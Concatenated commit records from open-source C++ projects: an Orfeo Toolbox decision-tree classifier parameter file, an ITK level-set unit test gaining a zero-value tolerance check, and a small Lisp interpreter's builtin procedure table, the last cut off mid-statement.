expose dt CVFold parameter for openCV 3<commit_after>\/*\n * Copyright (C) 2005-2019 Centre National d'Etudes Spatiales (CNES)\n *\n * This file is part of Orfeo Toolbox\n *\n * https:\/\/www.orfeo-toolbox.org\/\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef otbTrainDecisionTree_hxx\n#define otbTrainDecisionTree_hxx\n#include \"otbLearningApplicationBase.h\"\n#include \"otbDecisionTreeMachineLearningModel.h\"\n\nnamespace otb\n{\nnamespace Wrapper\n{\n\ntemplate <class TInputValue, class TOutputValue>\nvoid\nLearningApplicationBase<TInputValue,TOutputValue>\n::InitDecisionTreeParams()\n{\n AddChoice(\"classifier.dt\", \"Decision Tree classifier\");\n SetParameterDescription(\"classifier.dt\",\n \"http:\/\/docs.opencv.org\/modules\/ml\/doc\/decision_trees.html\");\n \/\/MaxDepth\n AddParameter(ParameterType_Int, \"classifier.dt.max\", \"Maximum depth of the tree\");\n#ifdef OTB_OPENCV_3\n SetParameterInt(\"classifier.dt.max\",10);\n#else\n SetParameterInt(\"classifier.dt.max\",65535);\n#endif\n SetParameterDescription(\"classifier.dt.max\",\n \"The training algorithm attempts to split each node while its depth is smaller \"\n \"than the maximum possible depth of the tree. The actual depth may be smaller \"\n \"if the other termination criteria are met, and\/or if the tree is pruned.\");\n\n \/\/MinSampleCount\n AddParameter(ParameterType_Int, \"classifier.dt.min\", \"Minimum number of samples in each node\");\n SetParameterInt(\"classifier.dt.min\",10);\n SetParameterDescription(\"classifier.dt.min\",\n \"If the number of samples in a node is smaller \"\n \"than this parameter, then this node will not be split.\");\n\n \/\/RegressionAccuracy\n AddParameter(ParameterType_Float, \"classifier.dt.ra\", \"Termination criteria for regression tree\");\n SetParameterFloat(\"classifier.dt.ra\",0.01);\n SetParameterDescription(\"classifier.dt.ra\",\n \"If all absolute differences between an estimated value in a node \"\n \"and the values of the train samples in this node are smaller than this \"\n \"regression accuracy parameter, then the node will not be split further.\");\n\n \/\/UseSurrogates : don't need to be exposed !\n \/\/SetParameterDescription(\"classifier.dt.sur\",\"These splits allow working with missing data and compute variable importance correctly.\");\n\n \/\/MaxCategories\n AddParameter(ParameterType_Int, \"classifier.dt.cat\",\n \"Cluster possible values of a categorical variable into K <= cat clusters to find a \"\n \"suboptimal split\");\n SetParameterInt(\"classifier.dt.cat\",10);\n SetParameterDescription(\"classifier.dt.cat\",\n \"Cluster possible values of a categorical variable into K <= cat clusters to find a \"\n \"suboptimal split.\");\n\n\n \/\/CVFolds: only exposed for OPENCV 2 because it crashes in OpenCV 3\n#ifndef OTB_OPENCV_3\n AddParameter(ParameterType_Int, \"classifier.dt.f\", \"K-fold cross-validations\");\n SetParameterInt(\"classifier.dt.f\",10);\n SetParameterDescription(\"classifier.dt.f\",\n \"If cv_folds > 1, then it prunes a tree with K-fold cross-validation where K \"\n \"is equal to cv_folds.\");\n#endif\n\n \/\/Use1seRule\n AddParameter(ParameterType_Bool, \"classifier.dt.r\", \"Set Use1seRule flag to false\");\n SetParameterDescription(\"classifier.dt.r\",\n \"If true, then a pruning will be harsher. This will make a tree more compact and more \"\n \"resistant to the training data noise but a bit less accurate.\");\n\n \/\/TruncatePrunedTree\n AddParameter(ParameterType_Bool, \"classifier.dt.t\", \"Set TruncatePrunedTree flag to false\");\n SetParameterDescription(\"classifier.dt.t\",\n \"If true, then pruned branches are physically removed from the tree.\");\n\n \/\/Priors are not exposed.\n\n}\n\ntemplate <class TInputValue, class TOutputValue>\nvoid\nLearningApplicationBase<TInputValue,TOutputValue>\n::TrainDecisionTree(typename ListSampleType::Pointer trainingListSample,\n typename TargetListSampleType::Pointer trainingLabeledListSample,\n std::string modelPath)\n{\n typedef otb::DecisionTreeMachineLearningModel<InputValueType, OutputValueType> DecisionTreeType;\n typename DecisionTreeType::Pointer classifier = DecisionTreeType::New();\n classifier->SetRegressionMode(this->m_RegressionFlag);\n classifier->SetInputListSample(trainingListSample);\n classifier->SetTargetListSample(trainingLabeledListSample);\n classifier->SetMaxDepth(GetParameterInt(\"classifier.dt.max\"));\n classifier->SetMinSampleCount(GetParameterInt(\"classifier.dt.min\"));\n classifier->SetRegressionAccuracy(GetParameterFloat(\"classifier.dt.ra\"));\n classifier->SetMaxCategories(GetParameterInt(\"classifier.dt.cat\"));\n \/\/CVFolds is only exposed for OPENCV 2 because it crashes in OpenCV 3\n#ifndef OTB_OPENCV_3\n classifier->SetCVFolds(GetParameterInt(\"classifier.dt.f\"));\n#endif\n if (GetParameterInt(\"classifier.dt.r\"))\n {\n classifier->SetUse1seRule(false);\n }\n if (GetParameterInt(\"classifier.dt.t\"))\n {\n classifier->SetTruncatePrunedTree(false);\n }\n classifier->Train();\n classifier->Save(modelPath);\n}\n\n} \/\/end namespace wrapper\n} \/\/end namespace otb\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n *\n * Copyright Insight Software Consortium\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *=========================================================================*\/\n\n\n#include \"itkLevelSetDenseImageBase.h\"\n#include \"itkImageRegionIteratorWithIndex.h\"\n\n#include \"itkLevelSetTestFunction.h\"\n\n\/**\n * \\class ToleranceChecker\n * \\brief Compare values to see if they are within tolerance.\n *\/\ntemplate< typename RealType >\nclass ToleranceChecker\n{\npublic:\n ToleranceChecker(): m_Tolerance( 1e-8 )\n {}\n\n bool IsOutsideTolerance( const RealType & value, const RealType & theoreticalValue ) const\n {\n if( this->GetFractionalError( value, theoreticalValue ) > m_Tolerance )\n {\n return true;\n }\n return false;\n }\n\n RealType GetFractionalError( const RealType & value, const RealType & theoreticalValue ) const\n {\n RealType fractionalError = vnl_math_abs( theoreticalValue - value ) \/\n ( vnl_math_abs( theoreticalValue ) + 20* vnl_math::eps );\n return fractionalError;\n }\n\n \/** Set fractional tolerance. *\/\n void SetTolerance( const RealType & tolerance )\n {\n m_Tolerance = tolerance;\n }\n\nprivate:\n RealType m_Tolerance;\n\n};\n\nint itkLevelSetDenseImageBaseTest( int , char* [] )\n{\n const unsigned int Dimension = 2;\n\n typedef float PixelType;\n\n typedef itk::Image< PixelType, Dimension > ImageType;\n typedef itk::LevelSetDenseImageBase< ImageType > LevelSetType;\n\n ImageType::IndexType index;\n index[0] = 0;\n index[1] = 0;\n\n ImageType::SizeType size;\n size[0] = 10;\n size[1] = 20;\n\n ImageType::RegionType region;\n region.SetIndex( index );\n region.SetSize( size );\n\n PixelType zeroValue = 0.;\n\n ImageType::SpacingType spacing;\n spacing[0] = 0.02 \/ size[0];\n spacing[1] = 0.02 \/ size[1];\n\n ImageType::PointType origin;\n origin[0] = 3.99;\n origin[1] = 3.99;\n\n ImageType::Pointer input = ImageType::New();\n input->SetRegions( region );\n input->SetSpacing( spacing );\n input->SetOrigin( origin );\n input->Allocate();\n input->FillBuffer( zeroValue );\n\n itk::ImageRegionIteratorWithIndex< ImageType > it( input,\n input->GetLargestPossibleRegion() );\n\n it.GoToBegin();\n\n ImageType::IndexType idx;\n ImageType::PointType pt;\n\n typedef itk::LevelSetTestFunction< PixelType > TestFunctionType;\n TestFunctionType::Pointer testFunction = TestFunctionType::New();\n\n while( !it.IsAtEnd() )\n {\n idx = it.GetIndex();\n input->TransformIndexToPhysicalPoint( idx, pt );\n\n it.Set( testFunction->Evaluate( pt ) );\n ++it;\n }\n\n LevelSetType::Pointer level_set = LevelSetType::New();\n level_set->SetImage( input );\n\n idx[0] = 9;\n idx[1] = 18;\n input->TransformIndexToPhysicalPoint( idx, pt );\n LevelSetType::OutputType theoreticalValue = testFunction->Evaluate( pt );\n LevelSetType::OutputType value = level_set->Evaluate( idx );\n\n ToleranceChecker< double > toleranceChecker;\n\n toleranceChecker.SetTolerance( 1e-8 );\n it.GoToBegin();\n while( !it.IsAtEnd() )\n {\n idx = it.GetIndex();\n input->TransformIndexToPhysicalPoint( idx, pt );\n\n theoreticalValue = testFunction->Evaluate( pt );\n value = level_set->Evaluate( idx );\n if( toleranceChecker.IsOutsideTolerance( value, theoreticalValue ) )\n {\n std::cout << \"Index:\" << idx << \" *EvaluateTestFail* \" << value << \" != \"\n << theoreticalValue << std::endl;\n return EXIT_FAILURE;\n }\n\n ++it;\n }\n\n LevelSetType::GradientType gradient;\n LevelSetType::GradientType theoreticalGradient;\n\n toleranceChecker.SetTolerance( 0.1 );\n it.GoToBegin();\n while( !it.IsAtEnd() )\n {\n idx = it.GetIndex();\n input->TransformIndexToPhysicalPoint( idx, pt );\n\n theoreticalGradient = testFunction->EvaluateGradient( pt );\n gradient = level_set->EvaluateGradient( idx );\n if( toleranceChecker.IsOutsideTolerance( gradient[0], theoreticalGradient[0] ) ||\n toleranceChecker.IsOutsideTolerance( gradient[1], theoreticalGradient[1] ) )\n {\n std::cout << \"Index:\" << idx << \" Point: \" << pt\n << \" Error: [\" << toleranceChecker.GetFractionalError( gradient[0], theoreticalGradient[0] )\n << ',' << toleranceChecker.GetFractionalError( gradient[1], theoreticalGradient[1] ) << \"] \"\n <<\" *EvaluateGradientTestFail* \" << gradient << \" != \" << theoreticalGradient << std::endl;\n return EXIT_FAILURE;\n }\n\n ++it;\n }\n\n \/** \\todo more thorough testing as with the gradient above for hessian,\n * laplacian, gradient norm. *\/\n idx[0] = 9;\n idx[1] = 18;\n input->TransformIndexToPhysicalPoint( idx, pt );\n LevelSetType::HessianType hessian = level_set->EvaluateHessian( idx );\n std::cout << \"hessian = \" << std::endl << hessian << std::endl;\n\n if ( vnl_math_abs( vnl_math_abs( hessian[0][0] ) - 499.998 ) \/ 499.998 > 5e-2 )\n {\n std::cout << idx << \" *HessianTestFail* \" << vnl_math_abs( hessian[0][0] ) << \" != \"\n << vnl_math_abs( hessian[1][1] ) << std::endl;\n return EXIT_FAILURE;\n }\n\n LevelSetType::OutputRealType laplacian = level_set->EvaluateLaplacian( idx );\n std::cout << \"laplacian = \" << laplacian << std::endl;\n\n LevelSetType::OutputRealType gradientnorm = level_set->EvaluateGradientNorm( idx );\n std::cout <<\"gradient norm = \" << gradientnorm << std::endl;\n\n if( vnl_math_abs( 1 - gradientnorm ) > 5e-2 )\n {\n std::cout << idx << \" *GradientNormFail* \" << gradientnorm << \" != \"\n << 1 << std::endl;\n return EXIT_FAILURE;\n }\n\n LevelSetType::OutputRealType meancurvature = level_set->EvaluateMeanCurvature( idx );\n std::cout <<\"mean curvature = \" << meancurvature << std::endl;\n\n return EXIT_SUCCESS;\n}\n<commit_msg>BUG: LevelSetDenseImage test recognize zero values.<commit_after>\/*=========================================================================\n *\n * Copyright Insight Software Consortium\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *=========================================================================*\/\n\n\n#include \"itkLevelSetDenseImageBase.h\"\n#include \"itkImageRegionIteratorWithIndex.h\"\n\n#include \"itkLevelSetTestFunction.h\"\n\n\/**\n * \\class ToleranceChecker\n * \\brief Compare values to see if they are within tolerance.\n *\/\ntemplate< typename RealType >\nclass ToleranceChecker\n{\npublic:\n ToleranceChecker(): m_Tolerance( 1e-8 )\n {}\n\n bool IsOutsideTolerance( const RealType & value, const RealType & theoreticalValue ) const\n {\n \/\/ ignore if they are both effectively zero\n if( vnl_math_max( vnl_math_abs( value ), vnl_math_abs( theoreticalValue ) ) < 50 * vnl_math::eps )\n {\n return false;\n }\n if( this->GetFractionalError( value, theoreticalValue ) > m_Tolerance )\n {\n return true;\n }\n return false;\n }\n\n RealType GetFractionalError( const RealType & value, const RealType & theoreticalValue ) const\n {\n RealType fractionalError = vnl_math_abs( theoreticalValue - value ) \/\n ( vnl_math_abs( theoreticalValue ) + 20* vnl_math::eps );\n return fractionalError;\n }\n\n \/** Set fractional tolerance. *\/\n void SetTolerance( const RealType & tolerance )\n {\n m_Tolerance = tolerance;\n }\n\nprivate:\n RealType m_Tolerance;\n\n};\n\nint itkLevelSetDenseImageBaseTest( int , char* [] )\n{\n const unsigned int Dimension = 2;\n\n typedef float PixelType;\n\n typedef itk::Image< PixelType, Dimension > ImageType;\n typedef itk::LevelSetDenseImageBase< ImageType > LevelSetType;\n\n ImageType::IndexType index;\n index[0] = 0;\n index[1] = 0;\n\n ImageType::SizeType size;\n size[0] = 10;\n size[1] = 20;\n\n ImageType::RegionType region;\n region.SetIndex( index );\n region.SetSize( size );\n\n PixelType zeroValue = 0.;\n\n ImageType::SpacingType spacing;\n spacing[0] = 0.02 \/ size[0];\n spacing[1] = 0.02 \/ size[1];\n\n ImageType::PointType origin;\n origin[0] = 3.99;\n origin[1] = 3.99;\n\n ImageType::Pointer input = ImageType::New();\n input->SetRegions( region );\n input->SetSpacing( spacing );\n input->SetOrigin( origin );\n input->Allocate();\n input->FillBuffer( zeroValue );\n\n itk::ImageRegionIteratorWithIndex< ImageType > it( input,\n input->GetLargestPossibleRegion() );\n\n it.GoToBegin();\n\n ImageType::IndexType idx;\n ImageType::PointType pt;\n\n typedef itk::LevelSetTestFunction< PixelType > TestFunctionType;\n TestFunctionType::Pointer testFunction = TestFunctionType::New();\n\n while( !it.IsAtEnd() )\n {\n idx = it.GetIndex();\n input->TransformIndexToPhysicalPoint( idx, pt );\n\n it.Set( testFunction->Evaluate( pt ) );\n ++it;\n }\n\n LevelSetType::Pointer level_set = LevelSetType::New();\n level_set->SetImage( input );\n\n idx[0] = 9;\n idx[1] = 18;\n input->TransformIndexToPhysicalPoint( idx, pt );\n LevelSetType::OutputType theoreticalValue = testFunction->Evaluate( pt );\n LevelSetType::OutputType value = level_set->Evaluate( idx );\n\n ToleranceChecker< double > toleranceChecker;\n\n toleranceChecker.SetTolerance( 1e-8 );\n it.GoToBegin();\n while( !it.IsAtEnd() )\n {\n idx = it.GetIndex();\n input->TransformIndexToPhysicalPoint( idx, pt );\n\n theoreticalValue = testFunction->Evaluate( pt );\n value = level_set->Evaluate( idx );\n if( toleranceChecker.IsOutsideTolerance( value, theoreticalValue ) )\n {\n std::cout << \"Index:\" << idx << \" *EvaluateTestFail* \" << value << \" != \"\n << theoreticalValue << std::endl;\n return EXIT_FAILURE;\n }\n\n ++it;\n }\n\n LevelSetType::GradientType gradient;\n LevelSetType::GradientType theoreticalGradient;\n\n toleranceChecker.SetTolerance( 0.1 );\n it.GoToBegin();\n while( !it.IsAtEnd() )\n {\n idx = it.GetIndex();\n input->TransformIndexToPhysicalPoint( idx, pt );\n\n theoreticalGradient = testFunction->EvaluateGradient( pt );\n gradient = level_set->EvaluateGradient( idx );\n if( toleranceChecker.IsOutsideTolerance( gradient[0], theoreticalGradient[0] ) ||\n toleranceChecker.IsOutsideTolerance( gradient[1], theoreticalGradient[1] ) )\n {\n std::cout << \"Index:\" << idx << \" Point: \" << pt\n << \" Error: [\" << toleranceChecker.GetFractionalError( gradient[0], theoreticalGradient[0] )\n << ',' << toleranceChecker.GetFractionalError( gradient[1], theoreticalGradient[1] ) << \"] \"\n <<\" *EvaluateGradientTestFail* \" << gradient << \" != \" << theoreticalGradient << std::endl;\n return EXIT_FAILURE;\n }\n\n ++it;\n }\n\n \/** \\todo more thorough testing as with the gradient above for hessian,\n * laplacian, gradient norm. *\/\n idx[0] = 9;\n idx[1] = 18;\n input->TransformIndexToPhysicalPoint( idx, pt );\n LevelSetType::HessianType hessian = level_set->EvaluateHessian( idx );\n std::cout << \"hessian = \" << std::endl << hessian << std::endl;\n\n if ( vnl_math_abs( vnl_math_abs( hessian[0][0] ) - 499.998 ) \/ 499.998 > 5e-2 )\n {\n std::cout << idx << \" *HessianTestFail* \" << vnl_math_abs( hessian[0][0] ) << \" != \"\n << vnl_math_abs( hessian[1][1] ) << std::endl;\n return EXIT_FAILURE;\n }\n\n LevelSetType::OutputRealType laplacian = level_set->EvaluateLaplacian( idx );\n std::cout << \"laplacian = \" << laplacian << std::endl;\n\n LevelSetType::OutputRealType gradientnorm = level_set->EvaluateGradientNorm( idx );\n std::cout <<\"gradient norm = \" << gradientnorm << std::endl;\n\n if( vnl_math_abs( 1 - gradientnorm ) > 5e-2 )\n {\n std::cout << idx << \" *GradientNormFail* \" << gradientnorm << \" != \"\n << 1 << std::endl;\n return EXIT_FAILURE;\n }\n\n LevelSetType::OutputRealType meancurvature = level_set->EvaluateMeanCurvature( idx );\n std::cout <<\"mean curvature = \" << meancurvature << std::endl;\n\n return EXIT_SUCCESS;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <array>\n\n#include \"builtin.hh\"\n#include \"number.hh\"\n#include \"procedure.hh\"\n#include \"lisp_ptr.hh\"\n#include \"eval.hh\"\n#include \"builtin_util.hh\"\n#include \"printer.hh\"\n\nusing namespace std;\nusing namespace Procedure;\n\nnamespace {\n\nvoid plus_2(){\n auto args = pick_args<2>();\n\n VM.return_value = {};\n\n Number* n1 = args[0].get<Number*>();\n if(!n1){\n fprintf(stderr, \"native func '+': first arg is not number! %s\\n\",\n stringify(args[0].tag()));\n return;\n }\n\n Number* n2 = args[1].get<Number*>();\n if(!n2){\n fprintf(stderr, \"native func '+': second arg is not number! %s\\n\",\n stringify(args[1].tag()));\n return;\n }\n\n Number* newn = new Number(n1->get<long>() + n2->get<long>());\n VM.return_value = Lisp_ptr(newn);\n}\n\ntemplate <Ptr_tag p>\nvoid type_check_pred(){\n auto arg = pick_args_1();\n VM.return_value = Lisp_ptr{arg.tag() == p};\n}\n\nvoid type_check_pair(){\n auto arg = pick_args_1();\n VM.return_value = Lisp_ptr{(arg.tag() == Ptr_tag::cons) && !nullp(arg)};\n}\n\nvoid type_check_procedure(){\n auto arg = pick_args_1();\n VM.return_value = Lisp_ptr{(arg.tag() == Ptr_tag::i_procedure)\n || (arg.tag() == Ptr_tag::n_procedure)};\n}\n\nLisp_ptr whole_macro_or_expand(Cons* c){\n if(!c->cdr() || nullp(c->cdr())){\n return c->car();\n }\n\n const auto if_sym = intern(VM.symtable, \"if\");\n auto else_clause = whole_macro_or_expand(c->cdr().get<Cons*>());\n\n return Lisp_ptr(new Cons(Lisp_ptr(if_sym),\n Lisp_ptr(new Cons(c->car(),\n Lisp_ptr(new Cons(Lisp_ptr(vm_op_nop),\n Lisp_ptr(new Cons(else_clause, Cons::NIL))))))));\n}\n\nLisp_ptr whole_macro_and_expand(Cons* c){\n if(!c->cdr() || nullp(c->cdr())){\n return c->car();\n }\n\n const auto if_sym = intern(VM.symtable, \"if\");\n auto then_clause = whole_macro_and_expand(c->cdr().get<Cons*>());\n\n return Lisp_ptr(new Cons(Lisp_ptr(if_sym),\n Lisp_ptr(new Cons(c->car(),\n Lisp_ptr(new Cons(then_clause,\n Lisp_ptr(new Cons(Lisp_ptr(vm_op_nop), Cons::NIL))))))));\n}\n\nLisp_ptr whole_macro_cond_expand(Cons* head){\n if(!head) return {}; \/\/ unspecified in R5RS.\n\n auto clause = head->car();\n if(!clause.get<Cons*>()){\n fprintf(stderr, \"macro cond: informal clause syntax! '\");\n print(stderr, head->car());\n fprintf(stderr, \"'\\n\");\n return {};\n }\n\n Lisp_ptr test_form;\n Lisp_ptr then_form;\n\n int ret = bind_cons_list(clause,\n [&](Cons* c){\n test_form = c->car();\n if(nullp(c->cdr())){\n then_form = Lisp_ptr(vm_op_nop);\n }\n },\n [&](Cons* c){\n if(auto sym = c->car().get<Symbol*>()){\n if(sym->name() == \"=>\"){\n fprintf(stderr, \"macto cond: sorry, cond's => syntax is not implemented..\\n\");\n then_form = {};\n return;\n }\n }\n then_form = Lisp_ptr(new Cons(Lisp_ptr(intern(VM.symtable, \"begin\")), Lisp_ptr(c)));\n });\n assert(ret >= 1); \/\/ should be handled by previous tests.\n (void)ret;\n\n if(auto sym = test_form.get<Symbol*>()){\n if(sym->name() == \"else\"){\n return then_form;\n }\n }\n\n const auto if_sym = intern(VM.symtable, \"if\");\n auto else_form = whole_macro_cond_expand(head->cdr().get<Cons*>());\n\n return Lisp_ptr(new Cons(Lisp_ptr(if_sym),\n Lisp_ptr(new Cons(test_form,\n Lisp_ptr(new Cons(then_form,\n Lisp_ptr(new Cons(else_form, Cons::NIL))))))));\n}\n\ntemplate<typename T, typename Expander>\ninline\nvoid whole_macro_conditional(T default_value, Expander e){\n auto arg = pick_args_1();\n if(!arg) return;\n\n Cons* head;\n\n int len = bind_cons_list(arg,\n [](Cons*){},\n [&](Cons* c){\n head = c;\n });\n if(len < 2){\n VM.return_value = Lisp_ptr(default_value);\n return;\n }\n\n VM.return_value = e(head);\n}\n\nvoid whole_macro_and(){\n whole_macro_conditional(true, whole_macro_and_expand);\n}\n \nvoid whole_macro_or(){\n whole_macro_conditional(false, whole_macro_or_expand);\n}\n\nvoid whole_macro_cond(){\n whole_macro_conditional(Lisp_ptr{}, whole_macro_cond_expand);\n}\n\nbool eq_internal(Lisp_ptr a, Lisp_ptr b){\n if(a.tag() != b.tag()) return false;\n\n if(a.tag() == Ptr_tag::boolean){\n return a.get<bool>() == b.get<bool>();\n }else if(a.tag() == Ptr_tag::character){\n \/\/ this can be moved into eqv? in R5RS, but char is contained in Lisp_ptr.\n return a.get<char>() == b.get<char>();\n }else{\n return a.get<void*>() == b.get<void*>();\n }\n}\n\nvoid eq(){\n auto args = pick_args<2>();\n \n VM.return_value = Lisp_ptr{eq_internal(args[0], args[1])};\n}\n\nvoid eqv(){\n auto args = pick_args<2>();\n\n if(args[0].tag() == Ptr_tag::number && args[1].tag() == Ptr_tag::number){\n VM.return_value = Lisp_ptr{eqv(*args[0].get<Number*>(), *args[1].get<Number*>())};\n }else{\n VM.return_value = Lisp_ptr{eq_internal(args[0], args[1])};\n }\n}\n\nconstexpr struct Entry {\n const char* name;\n const NProcedure func;\n\n constexpr Entry(const char* n, const NProcedure& f)\n : name(n), func(f){}\n} builtin_func[] = {\n \/\/ syntaxes\n {\"quote\", {\n whole_function_quote,\n Calling::whole_function, {1, false}}},\n {\"lambda\", {\n whole_function_lambda,\n Calling::whole_function, {1, true}}},\n {\"if\", {\n whole_function_if,\n Calling::whole_function, {3, false}}},\n {\"set!\", {\n whole_function_set,\n Calling::whole_function, {2, false}}},\n {\"define\", {\n whole_function_define,\n Calling::whole_function, {2, true}}},\n {\"quasiquote\", {\n whole_function_quasiquote,\n Calling::whole_function, {1, false}}},\n {\"begin\", {\n whole_function_begin,\n Calling::whole_function, {1, true}}},\n\n {\"cond\", {\n whole_macro_cond,\n Calling::whole_macro, {1, true}}},\n {\"case\", {\n whole_function_unimplemented,\n Calling::whole_function, {0, true}}},\n {\"and\", {\n whole_macro_and,\n Calling::whole_macro, {0, true}}},\n {\"or\", {\n whole_macro_or,\n Calling::whole_macro, {0, true}}},\n {\"let\", {\n whole_function_let,\n Calling::whole_function, {1, true}}},\n {\"let*\", {\n whole_function_let_star,\n Calling::whole_function, {1, true}}},\n {\"letrec\", {\n whole_function_letrec,\n Calling::whole_function, {1, true}}},\n {\"do\", {\n whole_function_unimplemented,\n Calling::whole_function, {0, true}}},\n {\"delay\", {\n whole_function_unimplemented,\n Calling::whole_function, {0, true}}},\n\n {\"unquote\", {\n whole_function_pass_through,\n Calling::whole_function, {0, true}}},\n {\"unquote-splicing\", {\n whole_function_pass_through,\n Calling::whole_function, {0, true}}},\n {\"else\", {\n whole_function_error,\n Calling::whole_function, {0, false}}},\n {\"=>\", {\n whole_function_error,\n Calling::whole_function, {0, false}}},\n\n \/\/ functions\n {\"+\", {\n plus_2,\n Calling::function, {2, true}}},\n {\"list\", {\n procedure_list,\n Calling::function, {1, true}}},\n {\"list*\", {\n procedure_list_star,\n Calling::function, {1, true}}},\n {\"vector\", {\n procedure_vector, \n Calling::function, {1, true}}},\n {\"boolean?\", {\n type_check_pred<Ptr_tag::boolean>, \n Calling::function, {1, false}}},\n {\"symbol?\", {\n type_check_pred<Ptr_tag::symbol>,\n Calling::function, {1, false}}},\n {\"char?\", {\n type_check_pred<Ptr_tag::character>,\n Calling::function, {1, false}}},\n {\"vector?\", {\n type_check_pred<Ptr_tag::vector>,\n Calling::function, {1, false}}},\n {\"procedure?\", {\n type_check_procedure,\n Calling::function, {1, false}}},\n {\"pair?\", {\n type_check_pair,\n Calling::function, {1, false}}},\n {\"number?\", {\n type_check_pred<Ptr_tag::number>,\n Calling::function, {1, false}}},\n {\"string?\", {\n type_check_pred<Ptr_tag::string>,\n Calling::function, {1, false}}},\n {\"port?\", {\n type_check_pred<Ptr_tag::port>,\n Calling::function, {1, false}}},\n {\"eqv?\", {\n eqv,\n Calling::function, {2, false}}},\n {\"eq?\", {\n eq,\n Calling::function, {2, false}}}\n};\n\n} \/\/namespace\n\nvoid install_builtin(){\n for(auto& e : builtin_func){\n VM.set(intern(VM.symtable, e.name), Lisp_ptr{&e.func});\n }\n}\n<commit_msg>bitly change in eql<commit_after>#include <array>\n\n#include \"builtin.hh\"\n#include \"number.hh\"\n#include \"procedure.hh\"\n#include \"lisp_ptr.hh\"\n#include \"eval.hh\"\n#include \"builtin_util.hh\"\n#include \"printer.hh\"\n\nusing namespace std;\nusing namespace Procedure;\n\nnamespace {\n\nvoid plus_2(){\n auto args = pick_args<2>();\n\n VM.return_value = {};\n\n Number* n1 = args[0].get<Number*>();\n if(!n1){\n fprintf(stderr, \"native func '+': first arg is not number! %s\\n\",\n stringify(args[0].tag()));\n return;\n }\n\n Number* n2 = args[1].get<Number*>();\n if(!n2){\n fprintf(stderr, \"native func '+': second arg is not number! %s\\n\",\n stringify(args[1].tag()));\n return;\n }\n\n Number* newn = new Number(n1->get<long>() + n2->get<long>());\n VM.return_value = Lisp_ptr(newn);\n}\n\ntemplate <Ptr_tag p>\nvoid type_check_pred(){\n auto arg = pick_args_1();\n VM.return_value = Lisp_ptr{arg.tag() == p};\n}\n\nvoid type_check_pair(){\n auto arg = pick_args_1();\n VM.return_value = Lisp_ptr{(arg.tag() == Ptr_tag::cons) && !nullp(arg)};\n}\n\nvoid type_check_procedure(){\n auto arg = pick_args_1();\n VM.return_value = Lisp_ptr{(arg.tag() == Ptr_tag::i_procedure)\n || (arg.tag() == Ptr_tag::n_procedure)};\n}\n\nLisp_ptr whole_macro_or_expand(Cons* c){\n if(!c->cdr() || nullp(c->cdr())){\n return c->car();\n }\n\n const auto if_sym = intern(VM.symtable, \"if\");\n auto else_clause = whole_macro_or_expand(c->cdr().get<Cons*>());\n\n return Lisp_ptr(new Cons(Lisp_ptr(if_sym),\n Lisp_ptr(new Cons(c->car(),\n Lisp_ptr(new Cons(Lisp_ptr(vm_op_nop),\n Lisp_ptr(new Cons(else_clause, Cons::NIL))))))));\n}\n\nLisp_ptr whole_macro_and_expand(Cons* c){\n if(!c->cdr() || nullp(c->cdr())){\n return c->car();\n }\n\n const auto if_sym = intern(VM.symtable, \"if\");\n auto then_clause = whole_macro_and_expand(c->cdr().get<Cons*>());\n\n return Lisp_ptr(new Cons(Lisp_ptr(if_sym),\n Lisp_ptr(new Cons(c->car(),\n Lisp_ptr(new Cons(then_clause,\n Lisp_ptr(new Cons(Lisp_ptr(vm_op_nop), Cons::NIL))))))));\n}\n\nLisp_ptr whole_macro_cond_expand(Cons* head){\n if(!head) return {}; \/\/ unspecified in R5RS.\n\n auto clause = head->car();\n if(!clause.get<Cons*>()){\n fprintf(stderr, \"macro cond: informal clause syntax! '\");\n print(stderr, head->car());\n fprintf(stderr, \"'\\n\");\n return {};\n }\n\n Lisp_ptr test_form;\n Lisp_ptr then_form;\n\n int ret = bind_cons_list(clause,\n [&](Cons* c){\n test_form = c->car();\n if(nullp(c->cdr())){\n then_form = Lisp_ptr(vm_op_nop);\n }\n },\n [&](Cons* c){\n if(auto sym = c->car().get<Symbol*>()){\n if(sym->name() == \"=>\"){\n fprintf(stderr, \"macto cond: sorry, cond's => syntax is not implemented..\\n\");\n then_form = {};\n return;\n }\n }\n then_form = Lisp_ptr(new Cons(Lisp_ptr(intern(VM.symtable, \"begin\")), Lisp_ptr(c)));\n });\n assert(ret >= 1); \/\/ should be handled by previous tests.\n (void)ret;\n\n if(auto sym = test_form.get<Symbol*>()){\n if(sym->name() == \"else\"){\n return then_form;\n }\n }\n\n const auto if_sym = intern(VM.symtable, \"if\");\n auto else_form = whole_macro_cond_expand(head->cdr().get<Cons*>());\n\n return Lisp_ptr(new Cons(Lisp_ptr(if_sym),\n Lisp_ptr(new Cons(test_form,\n Lisp_ptr(new Cons(then_form,\n Lisp_ptr(new Cons(else_form, Cons::NIL))))))));\n}\n\ntemplate<typename T, typename Expander>\ninline\nvoid whole_macro_conditional(T default_value, Expander e){\n auto arg = pick_args_1();\n if(!arg) return;\n\n Cons* head;\n\n int len = bind_cons_list(arg,\n [](Cons*){},\n [&](Cons* c){\n head = c;\n });\n if(len < 2){\n VM.return_value = Lisp_ptr(default_value);\n return;\n }\n\n VM.return_value = 